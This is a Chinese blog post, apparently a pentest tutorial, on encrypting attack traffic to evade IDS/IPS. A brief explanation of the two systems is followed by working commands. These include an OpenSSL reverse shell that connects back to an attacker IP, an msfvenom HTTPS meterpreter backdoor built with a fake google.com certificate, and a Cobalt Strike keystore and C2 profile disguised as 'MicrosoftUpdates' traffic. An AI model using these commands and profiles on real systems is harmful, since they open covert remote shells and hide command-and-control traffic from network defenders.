流量加密(一)


使用OpenSSL反弹加密shell

​ 渗透测试的后期,为了横向渗透,需要反弹shell,如果反弹shell都是明文传输,内网如果有IDS或者防护软件会进行流量分析。如果能够回溯分析,就可以复现整个过程。会通过wireshark抓包直接看到输入的命令和返回的信息,有些危险命令会被防火墙或者ips检测并拦截

IPS和IDS

IDS入侵检测(旁路部署)

假如防火墙是一幢大厦的门锁,那么IDS就是这幢大厦里的监视系统。一旦小偷进入了大厦,或内部人员有越界行为,只有实时监视系统才能发现情况并发出警告。与防火墙不同的是,IDS入侵检测系统是一个旁路监听设备,没有也不需要跨接在任何链路上,无须网络流量流经它便可以工作。因此,对IDS的部署的唯一要求是:IDS应当挂接在所有所关注的流量都必须流经的链路上。在这里,“所关注流量”指的是来自高危网络区域的访问流量和需要进行统计、监视的网络报文。

IDS在交换式网络中的位置一般选择为:尽可能靠近攻击源、尽可能靠近受保护资源。

这些位置通常是:
1、服务器区域的交换机上;
2、Internet接入路由器之后的第一台交换机上;
3、重点保护网段的局域网交换机上

IPS入侵防御(串行部署)

IPS系统是电脑网络安全设施,是对防病毒软件和防火墙的补充。 IPS系统是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。

对于部署在数据转发路径上的IPS,可以根据预先设定的安全策略,对流经的每个报文进行深度检测(协议分析跟踪、特征匹配、流量统计分析、事件关联分析等),如果一旦发现隐藏于其中网络攻击,可以根据该攻击的威胁级别立即采取抵御措施,这些措施包括(按照处理力度):向管理中心告警;丢弃该报文;切断此次应用会话;切断此次TCP连接。

办公网中,需要在以下区域部署IPS:

1、办公网与外部网络的连接部位(入口/出口);

2、重要服务器集群前端;

3、办公网内部接入层。

4、至于其它区域,可以根据实际情况与重要程度,酌情部署。

IPS与IDS的区别

  1. IPS对于初始者来说,是位于防火墙和网络的设备之间的设备。这样,如果检测到攻击,IPS会在这种攻击扩散到网络的其它地方之前阻止这个恶意的通信。而IDS只是存在于你的网络之外起到报警的作用,而不是在你的网络前面起到防御的作用。

  2. IPS具有检测已知和未知攻击并具有成功防止攻击的能力而IDS没有

  3. IDS的局限性是不能反击网络攻击,因为IDS传感器基于数据包嗅探技术,只能眼睁睁地看着网络信息流过。IPS可执行IDS相同的分析,因为他们可以插入网内,装在网络组件之间,而且他们可以阻止恶意活动

  4. 在kali上生成SSL证书的公钥/私钥对

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

其中各参数:

-new: 表示生成一个新的证书签署要求
-x509: 专用于生成CA自签证书
-key:指定生成证书用到的私钥文件
-out FILNAME:指定生成的证书的保存路径
-days:指定证书的有效期限,单位为day,默认是365天
-notes: 生成的私钥文件不会被加密

  1. 在kali上监听81端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 81
  1. 在目标机器上用openssl反弹加密shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.80.137:81 > /t

mkfifo /tmp/s;:创建一个管道

/bin/sh -i < /tmp/s 2>&1 打开一个交互式反弹shell,2>&1的意思是把标准错误输出重定向到标准输出,否则输入错误命令回显会显示在靶机中

openssl s_client -quiet -connect 192.168.xx.xx:4444 > /tmp/s; 解密流量,将攻击端输入的数据解密后反弹回攻击端

rm /tmp/s 由于已经加载进内存,清除掉/tmp/s文件

其中openssl各参数:

-quiet:不打印出session和证书的信息。同时隐式打开-ign_eof
-ign_eof:当输入文件到达文件尾的时候并不断开连接
-connect host:port: 设置服务器地址和端口号。如果没有设置,则默认为本地主机以及端口号4433

MSF流量加密躲避检测

OpenSSL创建SSL/TLS证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

生成后门

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=***.***.***.* LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat

设置监听器

配置侦听器时还需要使用两个附加选项。这是为了通知处理程序它将使用的证书(与有效负载相同),并在接收到连接时执行SSL证书验证。

HandlerSSLCert 
StagerVerifySSLCert 
set payload windows/meterpreter/reverse_winhttps
set LHOST ***.***.***.*
set LPORT 443
set HandlerSSLCert /home/kali/msf/www.google.com.pem 
set StagerVerifySSLCert true
exploit

CS生成SSL证书修改C2 profile流量加密混淆

Cobalt Strike默认使用的cobaltStrike.store证书,默认证书已经被各种IDS入侵检测工具和流量检测工具拦截和发现

keytool工具介绍

Keytool是一个Java数据证书的管理工具,Keytool将密钥(key)和证书(certificates)存在一个称为keystore的文件中,即store后缀文件中。

选项:

-alias <alias>         要处理的条目的别名
-keyalg <alg>           密钥算法名称
-keysize <size>         密钥位大小
-groupname <name>       Group name. For example, an Elliptic Curve name.
-sigalg <alg>           签名算法名称
-destalias <alias>     目标别名
-dname <name>           唯一判别名
-startdate <date>       证书有效期开始日期/时间
-ext <value>           X.509 扩展
-validity <days>       有效天数
-keypass <arg>         密钥口令
-keystore <keystore>   密钥库名称
-storepass <arg>       密钥库口令
-storetype <type>       密钥库类型
-providername <name>   提供方名称
-addprovider <name>     按名称 (例如 SunPKCS11) 添加安全提供方
  [-providerarg <arg>]   配置 -addprovider 的参数
-providerclass <class> 按全限定类名添加安全提供方
  [-providerarg <arg>]   配置 -providerclass 的参数
-providerpath <list>   提供方类路径
-v                     详细输出
-protected             通过受保护的机制的口令

生成SSL证书命令

keytool -genkey -alias yyy -keyalg RSA -validity 36500 -keystore haha
yyy haha这两个字符串要记住,后续修改profile需要使用
密钥库口令:123456
组织名称:MicrosoftUpdates(尽量像大型企业)

创建并修改C2-profile文件

set sample_name "moonsec POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101
Firefox/24.0";
#设置证书
https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}#设置
code-signer{
set keystore "haha";
set password "123456";
set alias "yyy";
}#指定 DNS beacon 不用的时候指定到 IP 地址
set dns_idle "8.8.4.4";
#每个单独 DNS 请求前强制睡眠时间
set dns_sleep "0";
#通过 DNS 上载数据时主机名的最大长度[0-255]
set maxdns "235";
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php
/windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urlencoded";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @
PC&wv=11&gr=backoff&bv=1.55&data=";
print;
} }
server {
output {
print;
} } }
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
} }
server {
header "Content-Type" "text/plain";
output {
base64;
print;
} } }

注意设置这两个地方

#设置证书
https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}#设置
code-signer{
set keystore "haha";
set password "123456";
set alias "yyy";

c2link检测c2 profile文件是否可用

./c2link wkk.profile

运行失败会有红色信息

配置teamserver文件运行上线

修改默认端口,50050过于明显

即可使用


文章作者: 小小星仔
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 小小星仔 !
评论
  目录